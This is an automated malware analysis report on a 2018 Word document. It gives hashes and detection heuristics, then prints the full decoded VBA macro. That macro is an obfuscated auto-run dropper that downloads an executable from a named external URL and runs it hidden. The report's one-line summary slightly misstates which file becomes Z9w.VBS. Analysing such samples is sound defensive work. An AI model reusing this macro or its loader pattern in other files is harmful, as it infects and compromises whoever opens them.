Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 686200764b6f76bc…

MALICIOUS

Office (OLE)

275.0 KB Created: 2018-05-15 05:31:00 Authoring application: Microsoft Office Word First seen: 2018-05-18
MD5: f48facdb3bb58af8edb18a5765d7021b SHA-1: cdbafdb550cf73e0ab78d51560e6f1b2b78e785a SHA-256: 686200764b6f76bc5a0047cfe8f8aa13c63cac7417b1d582fc5999413b7bcb14
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains obfuscated VBA macros that execute upon opening the document. The macro decodes a URL and uses `CreateObject` to download a file named 'Better.exe' from 'http://www.eosride.com/Hyper/Better.exe' to the current directory, saving it as 'Z9w.VBS'. It then proceeds to execute this downloaded file, indicating a downloader or dropper functionality.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(566 - 499) & Chr(213 - 136) & Chr(557 - 457) & Chr(193 - 161) & Chr(188 - 141) & Chr(999 - 900) & Chr(193 - 161) & Chr(999 - 900) & Chr(557 - 457) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(566 - 499) & Chr(213 - 136) & Chr(557 - 457) & Chr(193 - 161) & Chr(188 - 141) & Chr(999 - 900) & Chr(193 - 161) & Chr(999 - 900) & Chr(557 - 457) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & G7o & " Z3o= ""http://www.eosride.com/Hyper/Better.exe"">>Z9w.VBS &" & G7o & " E3k = J1t(""ddfH_r_"")>>Z9w.VBS &" & G7o & " Set N7q = CreateObject(J1t(""gmrgfLHrgfbnnj""))>>Z9w.VBS &" & G7o & " N7q.Open J1t(""a_n""), Z3o, False>>Z9w.VBS &" & G7o & " N7q.send ("""")>>Z9w.VBS  &" & G7o & " Set V1n = CreateObject(J1t(""[^i^\Hmnl_[g""))>>Z9w.VBS &" & G7o & " V1n.Open>>Z9w.VBS &" & G7o & " V1n.Type = 1 >>Z9w.VBS  &@eCHo V1n.Write N7q.ResponseBody>>Z9w.VBS &" & G7o & " V1n.Position = 0 >>Z9w. …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(566 - 499) & Chr(213 - 136) & Chr(557 - 457) & Chr(193 - 161) & Chr(188 - 141) & Chr(999 - 900) & Chr(193 - 161) & Chr(999 - 900) & Chr(557 - 457) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & G7o & " Z3o= ""http://www.eosride.com/Hyper/Better.exe"">>Z9w.VBS &" & G7o & " E3k = J1t(""ddfH_r_"")>>Z9w.VBS &" & G7o & " Set N7q = CreateObject(J1t(""gmrgfLHrgfbnnj""))>>Z9w.VBS &" & G7o & " N7q.Open J1t(""a_n""), Z3o, False>>Z9w.VBS &" & G7o & " N7q.send ("""")>>Z9w.VBS  &" & G7o & " Set V1n = CreateObject(J1t(""[^i^\Hmnl_[g""))>>Z9w.VBS &" & G7o & " V1n.Open>>Z9w.VBS &" & G7o & " V1n.Type = 1 >>Z9w.VBS  &@eCHo V1n.Write N7q.ResponseBody>>Z9w.VBS &" & G7o & " V1n.Position = 0 >>Z9w. …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.eosride.com/Hyper/Better.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1622 bytes
SHA-256: bd7ecb299bc63a6bcd075140ab91e742fcc260cc36993c254c076a8753d1b315
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
G7o = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(566 - 499) & Chr(213 - 136) & Chr(557 - 457) & Chr(193 - 161) & Chr(188 - 141) & Chr(999 - 900) & Chr(193 - 161) & Chr(999 - 900) & Chr(557 - 457) & _
 Chr(193 - 161) & Chr(892 - 855) & Chr(358 - 274) & Chr(190 - 121) & Chr(84 - 7) & Chr(106 - 26) & Chr(892 - 855) & _
 " & " & G7o & " Z3o= ""http://www.eosride.com/Hyper/Better.exe"">>Z9w.VBS &" & G7o & " E3k = J1t(""ddfH_r_"")>>Z9w.VBS &" & G7o & " Set N7q = CreateObject(J1t(""gmrgfLHrgfbnnj""))>>Z9w.VBS &" & G7o & " N7q.Open J1t(""a_n""), Z3o, False>>Z9w.VBS &" & G7o & " N7q.send ("""")>>Z9w.VBS  &" & G7o & " Set V1n = CreateObject(J1t(""[^i^\Hmnl_[g""))>>Z9w.VBS &" & G7o & " V1n.Open>>Z9w.VBS &" & G7o & " V1n.Type = 1 >>Z9w.VBS  &@eCHo V1n.Write N7q.ResponseBody>>Z9w.VBS &" & G7o & " V1n.Position = 0 >>Z9w.VBS &" & G7o & " V1n.SaveToFile E3k, 2 >>Z9w.VBS &" & G7o & " V1n.Close>>Z9w.VBS &" & G7o & " function J1t(H5x) >> Z9w.VBS &" & G7o & " For V1i = 1 To Len(H5x) >>Z9w.VBS &" & G7o & " G8v = Mid(H5x, V1i, 1) >>Z9w.VBS &" & G7o & " G8v = Chr(Asc(G8v)- 26) >>Z9w.VBS &" & G7o & " K9c = K9c + G8v >> Z9w.VBS  &" & G7o & " Next >>Z9w.VBS &" & G7o & " J1t = K9c >>Z9w.VBS &" & G7o & " End Function >>Z9w.VBS  & Z9w.VBS  &dEl Z9w.VBS  & tIMeOUT 13 & JJL.EXE", vbHide
End Sub